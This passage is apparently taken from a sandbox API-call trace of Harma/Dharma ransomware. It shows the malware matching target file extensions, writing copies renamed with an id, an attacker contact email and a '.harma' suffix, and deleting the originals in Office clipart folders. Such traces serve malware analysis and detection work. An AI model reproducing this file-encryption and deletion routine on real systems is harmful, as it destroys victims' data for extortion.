(lpString=".jpg") returned 4 [0168.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.194] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.195] lstrlenW (lpString="J0105388.WMF") returned 12 [0168.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.378] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=8252) returned 1 [0168.378] CloseHandle (hObject=0x330) returned 1 [0168.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0168.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.378] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.378] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.379] GetLastError () returned 0x0 [0168.379] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x203c, lpOverlapped=0x0) returned 1 [0168.381] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2040, lpOverlapped=0x0) returned 1 [0168.382] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.382] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.382] SetEndOfFile (hFile=0x364) returned 1 [0168.382] CloseHandle (hObject=0x364) returned 1 [0168.382] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.383] SetEndOfFile (hFile=0x330) returned 1 [0168.385] CloseHandle (hObject=0x330) returned 1 [0168.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0168.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.387] lstrlenW (lpString=".doc") returned 4 [0168.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString=".docx") returned 5 [0168.388] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.388] lstrlenW (lpString=".pdf") returned 4 [0168.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString=".xls") returned 4 [0168.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.388] lstrlenW (lpString=".xlsx") returned 5 [0168.388] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.388] lstrlenW (lpString=".ppt") returned 4 [0168.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.388] lstrlenW (lpString=".zip") returned 4 [0168.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.388] lstrlenW (lpString=".rar") returned 4 [0168.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString=".bz2") returned 4 [0168.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString=".7z") returned 3 [0168.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.388] lstrlenW (lpString=".dbf") returned 4 [0168.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.388] lstrlenW (lpString=".1cd") returned 4 [0168.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.388] lstrlenW (lpString=".jpg") returned 4 [0168.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.389] lstrlenW (lpString=".doc") returned 4 [0168.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString=".docx") returned 5 [0168.389] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.389] lstrlenW (lpString=".pdf") returned 4 [0168.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString=".xls") returned 4 [0168.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.389] lstrlenW (lpString=".xlsx") returned 5 [0168.389] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.389] lstrlenW (lpString=".ppt") returned 4 [0168.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.389] lstrlenW (lpString=".zip") returned 4 [0168.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.389] lstrlenW (lpString=".rar") returned 4 [0168.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString=".bz2") returned 4 [0168.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString=".7z") returned 3 [0168.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.389] lstrlenW (lpString=".dbf") returned 4 [0168.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.389] lstrlenW (lpString=".1cd") returned 4 [0168.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0168.390] lstrlenW (lpString=".jpg") returned 4 [0168.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.390] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.390] lstrlenW (lpString="J0105410.WMF") returned 12 [0168.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.391] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20444) returned 1 [0168.391] CloseHandle (hObject=0x330) returned 1 [0168.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0168.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.392] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.392] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.393] GetLastError () returned 0x0 [0168.393] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0168.395] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4fe0, lpOverlapped=0x0) returned 1 [0168.396] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.396] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.396] SetEndOfFile (hFile=0x364) returned 1 [0168.397] CloseHandle (hObject=0x364) returned 1 [0168.397] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.397] SetEndOfFile (hFile=0x330) returned 1 [0168.399] CloseHandle (hObject=0x330) returned 1 [0168.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0168.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.401] lstrlenW (lpString=".doc") returned 4 [0168.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString=".docx") returned 5 [0168.401] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.401] lstrlenW (lpString=".pdf") returned 4 [0168.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString=".xls") returned 4 [0168.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.401] lstrlenW (lpString=".xlsx") returned 5 [0168.401] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.401] lstrlenW (lpString=".ppt") returned 4 [0168.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.401] lstrlenW (lpString=".zip") returned 4 [0168.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.401] lstrlenW (lpString=".rar") returned 4 [0168.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString=".bz2") returned 4 [0168.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString=".7z") returned 3 [0168.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.401] lstrlenW (lpString=".dbf") returned 4 [0168.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.401] lstrlenW (lpString=".1cd") returned 4 [0168.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.401] lstrlenW (lpString=".jpg") returned 4 [0168.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.402] lstrlenW (lpString=".doc") returned 4 [0168.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString=".docx") returned 5 [0168.402] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.402] lstrlenW (lpString=".pdf") returned 4 [0168.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString=".xls") returned 4 [0168.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.402] lstrlenW (lpString=".xlsx") returned 5 [0168.402] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.402] lstrlenW (lpString=".ppt") returned 4 [0168.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.402] lstrlenW (lpString=".zip") returned 4 [0168.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.402] lstrlenW (lpString=".rar") returned 4 [0168.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString=".bz2") returned 4 [0168.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString=".7z") returned 3 [0168.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.402] lstrlenW (lpString=".dbf") returned 4 [0168.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.402] lstrlenW (lpString=".1cd") returned 4 [0168.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0168.403] lstrlenW (lpString=".jpg") returned 4 [0168.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.403] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.403] lstrlenW (lpString="J0105412.WMF") returned 12 [0168.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.404] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9400) returned 1 [0168.404] CloseHandle (hObject=0x330) returned 1 [0168.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0168.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.404] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.404] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.405] GetLastError () returned 0x0 [0168.405] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x24b8, lpOverlapped=0x0) returned 1 [0168.457] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x24c0, lpOverlapped=0x0) returned 1 [0168.458] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.458] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.458] SetEndOfFile (hFile=0x364) returned 1 [0168.458] CloseHandle (hObject=0x364) returned 1 [0168.458] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.458] SetEndOfFile (hFile=0x330) returned 1 [0168.461] CloseHandle (hObject=0x330) returned 1 [0168.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0168.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.637] lstrlenW (lpString=".doc") returned 4 [0168.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.637] lstrlenW (lpString=".docx") returned 5 [0168.637] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.637] lstrlenW (lpString=".pdf") returned 4 [0168.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.637] lstrlenW (lpString=".xls") returned 4 [0168.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.637] lstrlenW (lpString=".xlsx") returned 5 [0168.638] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.638] lstrlenW (lpString=".ppt") returned 4 [0168.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString=".zip") returned 4 [0168.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.638] lstrlenW (lpString=".rar") returned 4 [0168.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString=".bz2") returned 4 [0168.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString=".7z") returned 3 [0168.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString=".dbf") returned 4 [0168.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString=".1cd") returned 4 [0168.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString=".jpg") returned 4 [0168.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.638] lstrlenW (lpString=".doc") returned 4 [0168.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString=".docx") returned 5 [0168.638] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.638] lstrlenW (lpString=".pdf") returned 4 [0168.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".xls") returned 4 [0168.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.639] lstrlenW (lpString=".xlsx") returned 5 [0168.639] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.639] lstrlenW (lpString=".ppt") returned 4 [0168.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.639] lstrlenW (lpString=".zip") returned 4 [0168.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.639] lstrlenW (lpString=".rar") returned 4 [0168.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".bz2") returned 4 [0168.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.640] lstrlenW (lpString=".7z") returned 3 [0168.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.640] lstrlenW (lpString=".dbf") returned 4 [0168.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.640] lstrlenW (lpString=".1cd") returned 4 [0168.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0168.640] lstrlenW (lpString=".jpg") returned 4 [0168.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.640] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.640] lstrlenW (lpString="J0105504.WMF") returned 12 [0168.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.679] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4148) returned 1 [0168.679] CloseHandle (hObject=0x390) returned 1 [0168.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft 